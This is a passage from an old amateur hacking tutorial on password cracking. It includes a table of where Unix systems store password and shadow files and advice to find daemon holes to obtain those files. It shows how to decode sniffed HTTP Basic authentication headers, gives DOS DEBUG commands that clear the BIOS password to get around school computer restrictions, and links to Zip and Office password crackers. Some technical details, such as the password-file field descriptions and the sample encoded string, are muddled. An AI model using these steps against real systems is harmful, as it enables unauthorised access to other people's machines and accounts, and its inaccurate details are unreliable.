  708. from a lot of places:
  709.  
  710. http://astalavista.box.sk
  711. http://www.anticode.com
  712. http://www.hackersclub.com
  713.  
  714. ********************
  715. Hacking Tip: Want to find out where the password file is stred in your version of Unix?
  716. Well to find out your Unix Version type the following command:
  717. uname -a         
  718.  
  719. The following are the paths where Password files are stored in various Unix versions:                                                     
  720.                                                                                         
  721.         UNIX Paths (Courtesy of 2600)                                                   
  722.                                                                                         
  723.         UNIX                  Path                                              Token                     
  724.         ----------------------------------------------------------------------------               
  725.         AIX 3                 /etc/security/passwd                          !                         
  726.                or             /tcb/auth/files/<first letter                     #                         
  727.                                 of username>/<username>                             
  728.         A/UX 3.0s             /tcb/files/auth/?/*                                       
  729.         BSD4.3-Reno           /etc/master.passwd                   *                         
  730.         ConvexOS 10           /etc/shadpw                               *                         
  731.         ConvexOS 11           /etc/shadow                               *                         
  732.         DG/UX                 /etc/tcb/aa/user/                             *                         
  733.         EP/IX                 /etc/shadow                                      x                         
  734.         HP-UX                 /.secure/etc/passwd                        *                         
  735.         IRIX 5                /etc/shadow                                      x                         
  736.         Linux 1.1             /etc/shadow                                     *                         
  737.         OSF/1                 /etc/passwd[.dir|.pag]                      *                         
  738.         SCO Unix #.2.x        /tcb/auth/files/<first letter            *                         
  739.                                      of username>/<username>                            
  740.         SunOS4.1+c2           /etc/security/passwd.adjunct    ##username                
  741.         SunOS 5.0             /etc/shadow                                               
  742.                               <optional NIS+ private secure maps/tables/whatever        
  743.         System V Release 4.0  /etc/shadow                          x                         
  744.         System V Release 4.2  /etc/security/* database                                  
  745.         Ultrix 4              /etc/auth[.dir|.pag]                             *                         
  746.         UNICOS                /etc/udb                                        *                         
  747.                                                                                         
  748. ***************************
  749.  
  750. I have explained to you how to crack a Unix password file, but the most difficult part is getting the 
  751. Unix Password file.You first need to find a hole in the services running at various ports of the 
  752. host. There are many C program that you may find on the net which will promise to get you root 
  753. or to get you out of the restricted shell etc. But I assure you that almost all of these ready made C 
  754. programs have a tiny little part either missing or edited. A huge Sendmail Exploit that was 
  755. publised on the web had the most important line commented and hence the exploit did not work.
  756. I again emphasize the need to learn to program.Programming is very very important not only in 
  757. debuging already found exploits but also to discover new holes in popular daemons.To find a hole 
  758. say in Sendmail you need to go through the it's code over and over again and look for that tiny bit 
  759. that is exploitable.So the bottomline is that one must know how to program to do anything in 
  760. Hacking.
  761.  
  762. HTTP Basic Authentication 
  763.  
  764. The most common methods of authentication used by web sites are either CGI Based or 
  765. JavaScript based.Another type of authentication which is slowly becoming popular is the HTTP 
  766. Basic authentication.
  767. You must have almost certainly come across password protected websites which pop up a dialog 
  768. box with the title   $$$$$$$$$ and something like the following text:
  769.  
  770. UserName and Password Required
  771. Enter Username and Password for server.name.here
  772. Username:
  773. Password:
  774.  
  775. The HTTP Basic Authentication works same on all servers and is now becoming commonly used 
  776. for protecting data from the general public.This kind of Authentication does not provide much of 
  777. security and can be easily exploited to return the password.But anyhow I will mention how to 
  778. setup a server so that it uses HTTP Basic Authentication.
  779. Note: I am running Apache and the method to do the same on other platforms may vary.
  780. Contact the company for more info on how to setup your server to use HTTP Authentication.
  781. First of all create the password file by typing the htpasswd command:
  782.  
  783. $>htpasswd -c /etc/httpd/conf/passwords
  784.  
  785. Once the password file has been created we need to add the users to this password file.For that 
  786. use the following command:
  787.  
  788. $>htpasswd /etc/httpd/conf/passwords ankit.fadia
  789.  
  790. Then you will be prompted to enter the password for the user twice.Once you have completed 
  791. this process,the Username and Password will be stored in the /etc/httpd/conf/passwords file in 
  792. the following structure or format:
  793.  
  794. ankit.fadia:ryWT.SmffRa7pf
  795.  
  796. The first two fields are obviously the Username and the last two fields is the password encrypted 
  797. by the DES algorithm.This file is world readble, by that I mean to say that the file can be read by 
  798. anyone.So if possible disable the FTP and Telnet ports of the Server using HTTP Basic 
  799. Authentication.Although it will not make much of a difference as this kind of Authentication can 
  800. easily be hacked, but it always makes sense to be on the safer side and make work difficult for a 
  801. hacker.
  802. Now that the password file is ready we need to configure the /etc/httpd/conf/srm.conf file to tell 
  803. the server where the password file is and what kind of banner should it show when the user 
  804. needs to be authenticated.
  805. So edit the /etc/httpd/conf/srm.conf file and enter the following lines:
  806.  
  807. <Directory /home/httpd/www.servername.com/subfolder>
  808. AuthType Basic 
  809. AuthName server.name.here
  810.  AuthUserFile /etc/httpd/conf/passwords
  811. require valid-user 
  812. </Directory>
  813.  
  814. The directory tag is which folder or directory requires a password.Thus when the user tries to 
  815. access the mentioned directory the HTTP Password prompt appears.The AuthType specifies the 
  816. type of authentication.The AuthName gives the name to the banner that is popped up by the 
  817. browser.the AuthUserFile specifies the path of the password file.The require tag can be 
  818. configured such even is a Username is part of the password file, he will not be authenticated 
  819. unless and until he is withing the require tag.For Example,
  820.  
  821. require ankit.fadia ankit
  822.  
  823. If the above line is there in the srm.conf file then no one other than ankit and ankit fadia will be 
  824. authenticated.
  825.  
  826. Cracking such HTTP Basic Authentication passwords differs from server to server.It also depends 
  827. on how the system administrator has configured this service.First of all, to find out if the server is 
  828. actually running HTTP Authentication service, you need to type in the wrong password and if you 
  829. get the 401 Error, then you can be pretty sure of it.To hack the HTTP passwords, you need to get 
  830. the sniffer logs, it would contain what a request would look like if we were able to request the 
  831. page.It would be something like the following:
  832.  
  833. GET /pagehere HTTP/1.1 
  834. Authorization: Basic rTyna2yrqw2ADGHsghis==
  835.  
  836. The text after Basic is the password.Noàit is not encrypted, but is just  Base64 encoding.You 
  837. can easily decode it in Perl using the MIME::Base64 module, the code would be as follows:
  838.  
  839. use MIME::Base64; 
  840. print decode_base64("rTyna2yrqw2ADGHsghis =="); 
  841.  
  842. You can get the MIME::Base64 Module from www.cpan.com .After it has be decoded, you will 
  843. see something like the following: "ankit.fadia:passwordhere" 
  844. The first two fields would be my username and the last field is my password is plaintext.
  845.  
  846. BIOS Passwords
  847.  
  848. This is a password hack but is just clears the BIOS such that the next time you start the PC the 
  849. CMOS does not ask for any passwordSay at school the floppy drive has been disabled and you 
  850. want to do your project at home and copy it to the floppy drive and use this floppy to transfer it to 
  851. the school computer.What do you do.
  852. In most cases the BIOS is configured to disable the Floppy Drive. Now if you are able to bring the 
  853. DOS prompt in school the you will be able to change the BIOS setting to the default and enable 
  854. the floppy drive which is the default setting. In DOS there is the debug command which allows us 
  855. to do.To clear the CMOS do the following:
  856. Got DOS and type:
  857. DEBUG hit enter
  858. -o 70 2e hit enter
  859. -o 71 ff hit enter
  860. -q hit enter
  861. exit hit enter
  862. Restart the computer
  863. It works on most versions of the AWARD BIOS.
  864.  
  865. Cracking Other Passwords
  866.  
  867. Password protected Zipped files can be cracked with FZC, for more info read the following 
  868. tutorial:
  869. Using FZC to Crack Password-Protected Zip Files - an easy guide to using FZC to crack those 
  870. annoying password-protected zip files at http://blacksun.box.sk/fzc.html
  871. You can easily remove Excel and Word passwords by running a evil macro, get the macro at:
  872. http://www.crosswinds.net/~hackingtruths/manuals.htm
  873. This Macro has been written for Excel and can esily be edited to crack Word Passwords too, 
  874. once just needs to know a bit of VB.There is also a software known as Advanced office 97 
  875. Password Recovery, but that is sharewar and you need to pay for it.
  876.  
  877. Well, that pretty much wraps up the manual on Cracking Passwordsà.
  878. Ankit Fadia
  879. ankit@bol.net.in
  880.  
  881.  
  882. To receive more tutorials on Hacking,Cracking (Assembly), Perl, C++ and Viruses/Trojans and 
  883. more join my mailing list:
  884.  
  885. Send an email to programmingforhackers-subscribe@egroups.com to join it.
  886.  
  887. Visit my Site to view all tutorials written by me at: http://www.crosswinds.net/~hackingtruths
  888.